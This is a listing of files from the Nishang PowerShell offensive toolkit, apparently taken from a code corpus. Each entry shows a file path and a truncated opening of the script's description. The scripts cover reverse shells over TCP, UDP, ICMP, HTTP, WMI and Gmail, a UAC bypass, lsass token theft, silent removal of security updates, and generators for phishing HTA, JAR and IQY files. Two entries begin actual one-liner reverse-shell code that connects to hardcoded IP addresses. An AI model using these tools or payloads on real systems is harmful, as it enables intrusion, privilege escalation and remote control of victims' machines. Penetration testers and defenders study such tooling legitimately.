function FireListener { <# .SYNOPSIS This script is part of Nishang. FireListener is a PowerShell script that does egress testing. It is to be run on the attacking/listening machine. .DESCRIPTION FireListener hosts a listening server to which FireBuster can send packets to. Firebuster is to be run on the target...
PowerShellCorpus/Github/Exploit-install_nishang/Escalation/Remove-Update.ps1
Remove-Update.ps1
function Remove-Update { <# .SYNOPSIS Nishang Payload which silently removes updates for a target machine. .DESCRIPTION This payload removes updates from a target machine. This could be used to remove all updates, all security updates or a particular update. .PARAMETER KBID THE KBID of update you w...
PowerShellCorpus/Github/Exploit-install_nishang/Escalation/Enable-DuplicateToken.ps1
Enable-DuplicateToken.ps1
function Enable-DuplicateToken { <# .SYNOPSIS Nishang payload which duplicates the Access token of lsass and sets it in the current process thread. .DESCRIPTION This payload duplicates the Access token of lsass and sets it in the current process thread. The payload must be run with elevated permissi...
PowerShellCorpus/Github/Exploit-install_nishang/Escalation/Invoke-PsUACme.ps1
Invoke-PsUACme.ps1
function Invoke-PsUACme { <# .SYNOPSIS Nishang script which uses known methods to bypass UAC. .DESCRIPTION This script implements methods from UACME project (https://github.com/hfiref0x/UACME) to bypass UAC on Windows machines. It drops DLLs in the known misconfigured/vulnerable locations of Windows machines u...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-JSRatRegsvr.ps1
Invoke-JSRatRegsvr.ps1
function Invoke-JSRatRegsvr { <# .SYNOPSIS Nishang script which can be used for Reverse shell from a target over HTTP using rundll32.exe. Useful for bypassing Applocker. .DESCRIPTION This script starts a listener on the attacker's machine. The listener needs a port to listen. On the target machine execute th...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp.ps1
function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bin...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellWmi.ps1
Invoke-PowerShellWmi.ps1
function Invoke-PowerShellWmi{ <# .SYNOPSIS Nishang script which can be used for interactive PowerShell over WMI. .DESCRIPTION Executing commands using WMI does not return output. This script utilizes WMI Namespaces to temporarily store the output in Base64 encoded form and returns it to the attacker's m...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp.ps1
function Invoke-PowerShellIcmp { <# .SYNOPSIS Nishang script which can be used for a Reverse interactive PowerShell from a target over ICMP. .DESCRIPTION This script can receive commands from a server, execute them and return the result to the server using only ICMP. The server to be used with it is icmpsh...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-JSRatRundll.ps1
Invoke-JSRatRundll.ps1
function Invoke-JSRatRundll { <# .SYNOPSIS Nishang script which can be used for Reverse PowerShell shell from a target over HTTP using rundll32.exe. .DESCRIPTION This script starts a listener on the attacker's machine. The listener needs a port to listen. On the target machine execute the below command: run...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp.ps1
function Invoke-PowerShellUdp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target over UDP. .DESCRIPTION This script is able to connect to a standard netcat listening on a UDP port when using the -Reverse switch. Also, a standard netcat can connect to thi...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PsGcat.ps1
Invoke-PsGcat.ps1
function Invoke-PSGcat { <# .SYNOPSIS Nishang script which can be used to send commands and scripts to Gmail which can then be run on a target using Invoke-PSGcatAgent. .DESCRIPTION This script is capable of sending commands and/or scripts to Gmail. A valid Gmail username and password is required. The command ...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
Invoke-PowerShellTcpOneLine.ps1
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well. #$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PoshRatHttp.ps1
Invoke-PoshRatHttp.ps1
function Invoke-PoshRatHttp { <# .SYNOPSIS Nishang script which can be used for Reverse interactive PowerShell from a target over HTTP. .DESCRIPTION This script starts a listener on the attacker's machine. The listener needs a port to listen. On the target machine execute the below command from PowerShell: ...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Remove-PoshRat.ps1
Remove-PoshRat.ps1
function Remove-PoshRat { <# .SYNOPSIS Nishang script which removes firewall rules installed by PoshRat. .DESCRIPTION Use this script to remove firewall rules installed by PoshRat. Firewall rules with the name of "Windows Update HTTPS" are removed by this script. The script must be run from an elevated s...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PsGcatAgent.ps1
Invoke-PsGcatAgent.ps1
function Invoke-PsGcatAgent { <# .SYNOPSIS Nishang script which can be used to execute commands and scripts from Gmail uploaded by Invoke-PSGcat. .DESCRIPTION This script is capable of executing commands and/or scripts from Gmail and send the output back. A valid Gmail username and password is required. This...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PowerShellUdpOneLine.ps1
Invoke-PowerShellUdpOneLine.ps1
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well. #$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("192.168.254.226"),53);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([tex...
PowerShellCorpus/Github/Exploit-install_nishang/Shells/Invoke-PoshRatHttps.ps1
Invoke-PoshRatHttps.ps1
function Invoke-PoshRatHttps { <# .SYNOPSIS Nishang script which can be used for Reverse interactive PowerShell from a target over HTTPS. .DESCRIPTION This script starts a listener on the attacker's machine. The listener listens on Port 443 by default. On the target machine execute the below command from Po...
PowerShellCorpus/Github/Exploit-install_nishang/Client/Out-WebQuery.ps1
Out-WebQuery.ps1
function Out-WebQuery { <# .SYNOPSIS Nishang script which creates a Web Query (.iqy) file which can be used for phishing attacks. .DESCRIPTION The script generates a Web Query (.iqy). When a target opens the file, it is opened inside an Excel Sheet and the user is presented with a warning for enabling data con...
PowerShellCorpus/Github/Exploit-install_nishang/Client/Out-Java.ps1
Out-Java.ps1
function Out-Java { <# .SYNOPSIS Nishang script which could be used for generating JAR to be used for applets. .DESCRIPTION The script generates a Signed JAR and one line HTML code. These could be deployed on a web server. When a target opens up the URL hosting these, the predefined PowerShell commands and...
PowerShellCorpus/Github/Exploit-install_nishang/Client/Out-HTA.ps1
Out-HTA.ps1
function Out-HTA { <# .SYNOPSIS Nishang script which could be used for generating "infected" HTML Application. It could be deployed on a web server and PowerShell scripts and commands could be executed on the target machine. .DESCRIPTION The script generates a HTA file with inline VBScript. The HTA should b...